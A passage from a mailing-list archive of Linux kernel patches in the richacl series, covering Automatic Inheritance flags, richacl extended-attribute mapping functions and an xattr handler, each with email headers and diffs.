b/include/linux/richacl.h index 9561db0..553dce1 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -305,9 +305,11 @@ extern unsigned int richacl_want_to_mask(unsigned int); extern void richacl_compute_max_masks(struct richacl *); extern struct richacl *__richacl_chmod(struct richacl *, umode_t); extern int richacl_equiv_mode(const struct richacl *, umode_t *); +extern struct richacl *richacl_inherit(const struct richacl *, int); /* richacl_inode.c */ extern int richacl_permission(struct inode *, const struct richacl *, int); extern int richacl_chmod(struct inode *, umode_t); +extern struct richacl *richacl_create(umode_t *, struct inode *); #endif /* __RICHACL_H */ -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:01:07 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7E2087F58 for ; Sun, 11 Oct 2015 18:01:07 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0D13FAC004 for ; Sun, 11 Oct 2015 16:01:03 -0700 (PDT) X-ASG-Debug-ID: 1444604462-04cbb05fbe3d630001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ENHZ9rtOllbbpsOF (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:01:02 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id B2B758E3EB; Sun, 11 Oct 2015 23:01:01 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36e016614; Sun, 11 Oct 2015 19:00:55 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 16/46] richacl: Automatic Inheritance Date: Mon, 12 Oct 2015 00:58:27 +0200 X-ASG-Orig-Subj: [PATCH v10 16/46] richacl: Automatic Inheritance Message-Id: <1444604337-17651-17-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604462 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Automatic Inheritance (AI) allows changes to the acl of a directory to propagate down to children. This is mostly implemented in user space: when a process changes the permissions of a directory and Automatic Inheritance is enabled for that directory, the process must propagate those changes to all children, recursively. The kernel enables this by keeping track of which permissions have been inherited at create time. In addition, it makes sure that permission propagation is turned off when the permissions are set explicitly (for example, upon create or chmod). Automatic Inheritance works as follows: - When the RICHACL_AUTO_INHERIT flag in the acl of a file or directory is not set, the file or directory is not affected by AI. - When the RICHACL_AUTO_INHERIT flag in the acl of a directory is set and a file or subdirectory is created in that directory, the inherited acl will have the RICHACL_AUTO_INHERIT flag set, and all inherited aces will have the RICHACE_INHERITED_ACE flag set. This allows user space to distinguish between aces which have been inherited and aces which have been explicitly added. - When the RICHACL_PROTECTED acl flag in the acl of a file or directory is set, AI will not modify the acl. This does not affect propagation of permissions from the file to its children (if the file is a directory). Linux does not have a way of creating files or directories without setting the file permission bits, so all files created inside a directory with RICHACL_AUTO_INHERIT set will have the RICHACL_PROTECTED flag set. This effectively disables Automatic Inheritance. Protocols which support creating files without specifying permissions can explicitly clear the RICHACL_PROTECTED flag after creating a file and reset the file masks to "undo" applying the create mode; see richacl_compute_max_masks(). They should set the RICHACL_DEFAULTED flag. (A mechanism that would allow to indicate to the kernel to ignore the create mode in the first place when there are inherited permissions would be nice to have.) Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 10 +++++++++- fs/richacl_inode.c | 7 +++++++ include/linux/richacl.h | 23 ++++++++++++++++++++++- 3 files changed, 38 insertions(+), 2 deletions(-) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index cb5081e..3a97a82 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -366,7 +366,8 @@ __richacl_chmod(struct richacl *acl, umode_t mode) acl->a_group_mask == group_mask && acl->a_other_mask == other_mask && (acl->a_flags & RICHACL_MASKED) && - (acl->a_flags & RICHACL_WRITE_THROUGH)) + (acl->a_flags & RICHACL_WRITE_THROUGH) && + (!richacl_is_auto_inherit(acl) || richacl_is_protected(acl))) return acl; clone = richacl_clone(acl, GFP_KERNEL); @@ -378,6 +379,8 @@ __richacl_chmod(struct richacl *acl, umode_t mode) clone->a_owner_mask = owner_mask; clone->a_group_mask = group_mask; clone->a_other_mask = other_mask; + if (richacl_is_auto_inherit(clone)) + clone->a_flags |= RICHACL_PROTECTED; return clone; } @@ -551,6 +554,11 @@ richacl_inherit(const struct richacl *dir_acl, int isdir) ace++; } } + if (richacl_is_auto_inherit(dir_acl)) { + acl->a_flags = RICHACL_AUTO_INHERIT; + richacl_for_each_entry(ace, acl) + ace->e_flags |= RICHACE_INHERITED_ACE; + } return acl; } diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c index 4f3a1b7..b88a2f1 100644 --- a/fs/richacl_inode.c +++ b/fs/richacl_inode.c @@ -277,6 +277,13 @@ richacl_inherit_inode(const struct richacl *dir_acl, umode_t *mode_p) richacl_put(acl); acl = NULL; } else { + /* + * We need to set RICHACL_PROTECTED because we are + * doing an implicit chmod + */ + if (richacl_is_auto_inherit(acl)) + acl->a_flags |= RICHACL_PROTECTED; + richacl_compute_max_masks(acl); /* * Ensure that the acl will not grant any permissions diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 553dce1..2cd3e65 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -53,10 +53,16 @@ struct richacl { _ace--) /* a_flags values */ +#define RICHACL_AUTO_INHERIT 0x01 +#define RICHACL_PROTECTED 0x02 +#define RICHACL_DEFAULTED 0x04 #define RICHACL_WRITE_THROUGH 0x40 #define RICHACL_MASKED 0x80 #define RICHACL_VALID_FLAGS ( \ + RICHACL_AUTO_INHERIT | \ + RICHACL_PROTECTED | \ + RICHACL_DEFAULTED | \ RICHACL_WRITE_THROUGH | \ RICHACL_MASKED) @@ -70,6 +76,7 @@ struct richacl { #define RICHACE_NO_PROPAGATE_INHERIT_ACE 0x0004 #define RICHACE_INHERIT_ONLY_ACE 0x0008 #define RICHACE_IDENTIFIER_GROUP 0x0040 +#define RICHACE_INHERITED_ACE 0x0080 #define RICHACE_SPECIAL_WHO 0x4000 #define RICHACE_VALID_FLAGS ( \ @@ -78,13 +85,15 @@ struct richacl { RICHACE_NO_PROPAGATE_INHERIT_ACE | \ RICHACE_INHERIT_ONLY_ACE | \ RICHACE_IDENTIFIER_GROUP | \ + RICHACE_INHERITED_ACE | \ RICHACE_SPECIAL_WHO) #define RICHACE_INHERITANCE_FLAGS ( \ RICHACE_FILE_INHERIT_ACE | \ RICHACE_DIRECTORY_INHERIT_ACE | \ RICHACE_NO_PROPAGATE_INHERIT_ACE | \ - RICHACE_INHERIT_ONLY_ACE ) + RICHACE_INHERIT_ONLY_ACE | \ + RICHACE_INHERITED_ACE ) /* e_mask bitflags */ #define RICHACE_READ_DATA 0x00000001 @@ -195,6 +204,18 @@ extern void set_cached_richacl(struct inode *, struct richacl *); extern void forget_cached_richacl(struct inode *); extern struct richacl *get_richacl(struct inode *); +static inline int +richacl_is_auto_inherit(const struct richacl *acl) +{ + return acl->a_flags & RICHACL_AUTO_INHERIT; +} + +static inline int +richacl_is_protected(const struct richacl *acl) +{ + return acl->a_flags & RICHACL_PROTECTED; +} + /** * richace_is_owner - check if @ace is an OWNER@ entry */ -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:01:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D22027FA1 for ; Sun, 11 Oct 2015 18:01:11 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 614C0AC004 for ; Sun, 11 Oct 2015 16:01:11 -0700 (PDT) X-ASG-Debug-ID: 1444604468-04cb6c5786a7af0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 2BkaguDGcAn4Yhve (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:01:09 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id A53758EA37; Sun, 11 Oct 2015 23:01:08 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36f016614; Sun, 11 Oct 2015 19:01:02 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 17/46] richacl: xattr mapping functions Date: Mon, 12 Oct 2015 00:58:28 +0200 X-ASG-Orig-Subj: [PATCH v10 17/46] richacl: xattr mapping functions Message-Id: <1444604337-17651-18-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604469 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Map between "system.richacl" xattrs and the in-kernel representation. Signed-off-by: Andreas Gruenbacher --- fs/Makefile | 2 +- fs/richacl_xattr.c | 220 ++++++++++++++++++++++++++++++++++++++++++ fs/xattr.c | 34 +++++-- include/linux/richacl_xattr.h | 62 ++++++++++++ include/uapi/linux/xattr.h | 2 + 5 files changed, 313 insertions(+), 7 deletions(-) create mode 100644 fs/richacl_xattr.c create mode 100644 include/linux/richacl_xattr.h diff --git a/fs/Makefile b/fs/Makefile index ec665fd..35e640d 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -49,7 +49,7 @@ obj-$(CONFIG_SYSCTL) += drop_caches.o obj-$(CONFIG_FHANDLE) += fhandle.o obj-$(CONFIG_FS_RICHACL) += richacl.o -richacl-y := richacl_base.o richacl_inode.o +richacl-y := richacl_base.o richacl_inode.o richacl_xattr.o obj-y += quota/ diff --git a/fs/richacl_xattr.c b/fs/richacl_xattr.c new file mode 100644 index 0000000..cd9979d --- /dev/null +++ b/fs/richacl_xattr.c @@ -0,0 +1,220 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); + +/** + * richacl_from_xattr - convert a richacl xattr into the in-memory representation + */ +struct richacl * +richacl_from_xattr(struct user_namespace *user_ns, + const void *value, size_t size) +{ + const struct richacl_xattr *xattr_acl = value; + const struct richace_xattr *xattr_ace = (void *)(xattr_acl + 1); + struct richacl *acl; + struct richace *ace; + int count; + + if (size < sizeof(*xattr_acl) || + xattr_acl->a_version != RICHACL_XATTR_VERSION || + (xattr_acl->a_flags & ~RICHACL_VALID_FLAGS)) + return ERR_PTR(-EINVAL); + size -= sizeof(*xattr_acl); + count = le16_to_cpu(xattr_acl->a_count); + if (count > RICHACL_XATTR_MAX_COUNT) + return ERR_PTR(-EINVAL); + if (size != count * sizeof(*xattr_ace)) + return ERR_PTR(-EINVAL); + + acl = richacl_alloc(count, GFP_NOFS); + if (!acl) + return ERR_PTR(-ENOMEM); + + acl->a_flags = xattr_acl->a_flags; + acl->a_owner_mask = le32_to_cpu(xattr_acl->a_owner_mask); + if (acl->a_owner_mask & ~RICHACE_VALID_MASK) + goto fail_einval; + acl->a_group_mask = le32_to_cpu(xattr_acl->a_group_mask); + if (acl->a_group_mask & ~RICHACE_VALID_MASK) + goto fail_einval; + acl->a_other_mask = le32_to_cpu(xattr_acl->a_other_mask); + if (acl->a_other_mask & ~RICHACE_VALID_MASK) + goto fail_einval; + + richacl_for_each_entry(ace, acl) { + ace->e_type = le16_to_cpu(xattr_ace->e_type); + ace->e_flags = le16_to_cpu(xattr_ace->e_flags); + ace->e_mask = le32_to_cpu(xattr_ace->e_mask); + + if (ace->e_flags & ~RICHACE_VALID_FLAGS) + goto fail_einval; + if (ace->e_flags & RICHACE_SPECIAL_WHO) { + ace->e_id.special = le32_to_cpu(xattr_ace->e_id); + if (ace->e_id.special > RICHACE_EVERYONE_SPECIAL_ID) + goto fail_einval; + } else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) { + u32 id = le32_to_cpu(xattr_ace->e_id); + + ace->e_id.gid = make_kgid(user_ns, id); + if (!gid_valid(ace->e_id.gid)) + goto fail_einval; + } else { + u32 id = le32_to_cpu(xattr_ace->e_id); + + ace->e_id.uid = make_kuid(user_ns, id); + if (!uid_valid(ace->e_id.uid)) + goto fail_einval; + } + if (ace->e_type > RICHACE_ACCESS_DENIED_ACE_TYPE || + (ace->e_mask & ~RICHACE_VALID_MASK)) + goto fail_einval; + + xattr_ace++; + } + + return acl; + +fail_einval: + richacl_put(acl); + return ERR_PTR(-EINVAL); +} +EXPORT_SYMBOL_GPL(richacl_from_xattr); + +/** + * richacl_xattr_size - compute the size of the xattr representation of @acl + */ +size_t +richacl_xattr_size(const struct richacl *acl) +{ + size_t size = sizeof(struct richacl_xattr); + + size += sizeof(struct richace_xattr) * acl->a_count; + return size; +} +EXPORT_SYMBOL_GPL(richacl_xattr_size); + +/** + * richacl_to_xattr - convert @acl into its xattr representation + * @acl: the richacl to convert + * @buffer: buffer for the result + * @size: size of @buffer + */ +int +richacl_to_xattr(struct user_namespace *user_ns, + const struct richacl *acl, void *buffer, size_t size) +{ + struct richacl_xattr *xattr_acl = buffer; + struct richace_xattr *xattr_ace; + const struct richace *ace; + size_t real_size; + + real_size = richacl_xattr_size(acl); + if (!buffer) + return real_size; + if (real_size > size) + return -ERANGE; + + xattr_acl->a_version = RICHACL_XATTR_VERSION; + xattr_acl->a_flags = acl->a_flags; + xattr_acl->a_count = cpu_to_le16(acl->a_count); + + xattr_acl->a_owner_mask = cpu_to_le32(acl->a_owner_mask); + xattr_acl->a_group_mask = cpu_to_le32(acl->a_group_mask); + xattr_acl->a_other_mask = cpu_to_le32(acl->a_other_mask); + + xattr_ace = (void *)(xattr_acl + 1); + richacl_for_each_entry(ace, acl) { + xattr_ace->e_type = cpu_to_le16(ace->e_type); + xattr_ace->e_flags = cpu_to_le16(ace->e_flags); + xattr_ace->e_mask = cpu_to_le32(ace->e_mask); + if (ace->e_flags & RICHACE_SPECIAL_WHO) + xattr_ace->e_id = cpu_to_le32(ace->e_id.special); + else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) + xattr_ace->e_id = + cpu_to_le32(from_kgid(user_ns, ace->e_id.gid)); + else + xattr_ace->e_id = + cpu_to_le32(from_kuid(user_ns, ace->e_id.uid)); + xattr_ace++; + } + return real_size; +} +EXPORT_SYMBOL_GPL(richacl_to_xattr); + +/* + * Fix up the uids and gids in richacl extended attributes in place. + */ +static void richacl_fix_xattr_userns( + struct user_namespace *to, struct user_namespace *from, + void *value, size_t size) +{ + struct richacl_xattr *xattr_acl = value; + struct richace_xattr *xattr_ace = + (struct richace_xattr *)(xattr_acl + 1); + unsigned int count; + + if (!value) + return; + if (size < sizeof(*xattr_acl)) + return; + if (xattr_acl->a_version != cpu_to_le32(RICHACL_XATTR_VERSION)) + return; + size -= sizeof(*xattr_acl); + if (size % sizeof(*xattr_ace)) + return; + count = size / sizeof(*xattr_ace); + for (; count; count--, xattr_ace++) { + if (xattr_ace->e_flags & cpu_to_le16(RICHACE_SPECIAL_WHO)) + continue; + if (xattr_ace->e_flags & + cpu_to_le16(RICHACE_IDENTIFIER_GROUP)) { + u32 id = le32_to_cpu(xattr_ace->e_id); + kgid_t gid = make_kgid(from, id); + + xattr_ace->e_id = cpu_to_le32(from_kgid(to, gid)); + } else { + u32 id = le32_to_cpu(xattr_ace->e_id); + kuid_t uid = make_kuid(from, id); + + xattr_ace->e_id = cpu_to_le32(from_kuid(to, uid)); + } + } +} + +void richacl_fix_xattr_from_user(void *value, size_t size) +{ + struct user_namespace *user_ns = current_user_ns(); + + if (user_ns == &init_user_ns) + return; + richacl_fix_xattr_userns(&init_user_ns, user_ns, value, size); +} + +void richacl_fix_xattr_to_user(void *value, size_t size) +{ + struct user_namespace *user_ns = current_user_ns(); + + if (user_ns == &init_user_ns) + return; + richacl_fix_xattr_userns(user_ns, &init_user_ns, value, size); +} diff --git a/fs/xattr.c b/fs/xattr.c index 072fee1..f2313c6 100644 --- a/fs/xattr.c +++ b/fs/xattr.c @@ -21,6 +21,7 @@ #include #include #include +#include #include @@ -314,6 +315,18 @@ out: } EXPORT_SYMBOL_GPL(vfs_removexattr); +static void +fix_xattr_from_user(const char *kname, void *kvalue, size_t size) +{ + if (strncmp(kname, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) + return; + kname += XATTR_SYSTEM_PREFIX_LEN; + if (!strcmp(kname, XATTR_POSIX_ACL_ACCESS) || + !strcmp(kname, XATTR_POSIX_ACL_DEFAULT)) + posix_acl_fix_xattr_from_user(kvalue, size); + else if (!strcmp(kname, XATTR_RICHACL)) + richacl_fix_xattr_from_user(kvalue, size); +} /* * Extended attribute SET operations @@ -350,9 +363,7 @@ setxattr(struct dentry *d, const char __user *name, const void __user *value, error = -EFAULT; goto out; } - if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) || - (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0)) - posix_acl_fix_xattr_from_user(kvalue, size); + fix_xattr_from_user(kname, kvalue, size); } error = vfs_setxattr(d, kname, kvalue, size, flags); @@ -419,6 +430,19 @@ SYSCALL_DEFINE5(fsetxattr, int, fd, const char __user *, name, return error; } +static void +fix_xattr_to_user(const char *kname, void *kvalue, size_t size) +{ + if (strncmp(kname, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) + return; + kname += XATTR_SYSTEM_PREFIX_LEN; + if (!strcmp(kname, XATTR_POSIX_ACL_ACCESS) || + !strcmp(kname, XATTR_POSIX_ACL_DEFAULT)) + posix_acl_fix_xattr_to_user(kvalue, size); + else if (!strcmp(kname, XATTR_RICHACL)) + richacl_fix_xattr_to_user(kvalue, size); +} + /* * Extended attribute GET operations */ @@ -451,9 +475,7 @@ getxattr(struct dentry *d, const char __user *name, void __user *value, error = vfs_getxattr(d, kname, kvalue, size); if (error > 0) { - if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) || - (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0)) - posix_acl_fix_xattr_to_user(kvalue, size); + fix_xattr_to_user(kname, kvalue, size); if (size && copy_to_user(value, kvalue, error)) error = -EFAULT; } else if (error == -ERANGE && size >= XATTR_SIZE_MAX) { diff --git a/include/linux/richacl_xattr.h b/include/linux/richacl_xattr.h new file mode 100644 index 0000000..f84cc21 --- /dev/null +++ b/include/linux/richacl_xattr.h @@ -0,0 +1,62 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#ifndef __RICHACL_XATTR_H +#define __RICHACL_XATTR_H + +#include + +struct richace_xattr { + __le16 e_type; + __le16 e_flags; + __le32 e_mask; + __le32 e_id; +}; + +struct richacl_xattr { + unsigned char a_version; + unsigned char a_flags; + __le16 a_count; + __le32 a_owner_mask; + __le32 a_group_mask; + __le32 a_other_mask; +}; + +#define RICHACL_XATTR_VERSION 0 +#define RICHACL_XATTR_MAX_COUNT \ + ((XATTR_SIZE_MAX - sizeof(struct richacl_xattr)) / \ + sizeof(struct richace_xattr)) + +extern struct richacl *richacl_from_xattr(struct user_namespace *, const void *, + size_t); +extern size_t richacl_xattr_size(const struct richacl *); +extern int richacl_to_xattr(struct user_namespace *, const struct richacl *, + void *, size_t); + +#ifdef CONFIG_FS_RICHACL +extern void richacl_fix_xattr_from_user(void *, size_t); +extern void richacl_fix_xattr_to_user(void *, size_t); +#else +static inline void richacl_fix_xattr_from_user(void *value, size_t size) +{ +} + +static inline void richacl_fix_xattr_to_user(void *value, size_t size) +{ +} +#endif + +#endif /* __RICHACL_XATTR_H */ diff --git a/include/uapi/linux/xattr.h b/include/uapi/linux/xattr.h index 1590c49..1996903 100644 --- a/include/uapi/linux/xattr.h +++ b/include/uapi/linux/xattr.h @@ -73,5 +73,7 @@ #define XATTR_POSIX_ACL_DEFAULT "posix_acl_default" #define XATTR_NAME_POSIX_ACL_DEFAULT XATTR_SYSTEM_PREFIX XATTR_POSIX_ACL_DEFAULT +#define XATTR_RICHACL "richacl" +#define XATTR_NAME_RICHACL XATTR_SYSTEM_PREFIX XATTR_RICHACL #endif /* _UAPI_LINUX_XATTR_H */ -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:01:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 452F97F58 for ; Sun, 11 Oct 2015 18:01:17 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E540EAC001 for ; Sun, 11 Oct 2015 16:01:16 -0700 (PDT) X-ASG-Debug-ID: 1444604475-04bdf020daa1b10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id PbroT4IV2p8B9kde (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:01:15 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 7AD4F8E6EA; Sun, 11 Oct 2015 23:01:15 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36g016614; Sun, 11 Oct 2015 19:01:09 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 18/46] richacl: Add richacl xattr handler Date: Mon, 12 Oct 2015 00:58:29 +0200 X-ASG-Orig-Subj: [PATCH v10 18/46] richacl: Add richacl xattr handler Message-Id: <1444604337-17651-19-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604475 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Add richacl xattr handler implementing the xattr operations based on the get_richacl and set_richacl inode operations. Signed-off-by: Andreas Gruenbacher --- fs/richacl_xattr.c | 78 +++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl_xattr.h | 2 ++ 2 files changed, 80 insertions(+) diff --git a/fs/richacl_xattr.c b/fs/richacl_xattr.c index cd9979d..dc529dc 100644 --- a/fs/richacl_xattr.c +++ b/fs/richacl_xattr.c @@ -18,7 +18,9 @@ #include #include #include +#include #include +#include MODULE_LICENSE("GPL"); @@ -161,6 +163,82 @@ richacl_to_xattr(struct user_namespace *user_ns, } EXPORT_SYMBOL_GPL(richacl_to_xattr); +static size_t +richacl_xattr_list(struct dentry *dentry, char *list, size_t list_len, + const char *name, size_t name_len, int handler_flags) +{ + const size_t size = sizeof(XATTR_NAME_RICHACL); + + if (!IS_RICHACL(d_backing_inode(dentry))) + return 0; + if (list && size <= list_len) + memcpy(list, XATTR_NAME_RICHACL, size); + return size; +} + +static int +richacl_xattr_get(struct dentry *dentry, const char *name, void *buffer, + size_t buffer_size, int handler_flags) +{ + struct inode *inode = d_backing_inode(dentry); + struct richacl *acl; + int error; + + if (strcmp(name, "") != 0) + return -EINVAL; + if (!IS_RICHACL(inode)) + return EOPNOTSUPP; + if (S_ISLNK(inode->i_mode)) + return -EOPNOTSUPP; + acl = get_richacl(inode); + if (IS_ERR(acl)) + return PTR_ERR(acl); + if (acl == NULL) + return -ENODATA; + error = richacl_to_xattr(&init_user_ns, acl, buffer, buffer_size); + richacl_put(acl); + return error; +} + +static int +richacl_xattr_set(struct dentry *dentry, const char *name, + const void *value, size_t size, int flags, int handler_flags) +{ + struct inode *inode = d_backing_inode(dentry); + struct richacl *acl = NULL; + int ret; + + if (strcmp(name, "") != 0) + return -EINVAL; + if (!IS_RICHACL(inode)) + return -EOPNOTSUPP; + if (!inode->i_op->set_richacl) + return -EOPNOTSUPP; + + if (!uid_eq(current_fsuid(), inode->i_uid) && + inode_permission(inode, MAY_CHMOD) && + !capable(CAP_FOWNER)) + return -EPERM; + + if (value) { + acl = richacl_from_xattr(&init_user_ns, value, size); + if (IS_ERR(acl)) + return PTR_ERR(acl); + } + + ret = inode->i_op->set_richacl(inode, acl); + richacl_put(acl); + return ret; +} + +struct xattr_handler richacl_xattr_handler = { + .prefix = XATTR_NAME_RICHACL, + .list = richacl_xattr_list, + .get = richacl_xattr_get, + .set = richacl_xattr_set, +}; +EXPORT_SYMBOL(richacl_xattr_handler); + /* * Fix up the uids and gids in richacl extended attributes in place. */ diff --git a/include/linux/richacl_xattr.h 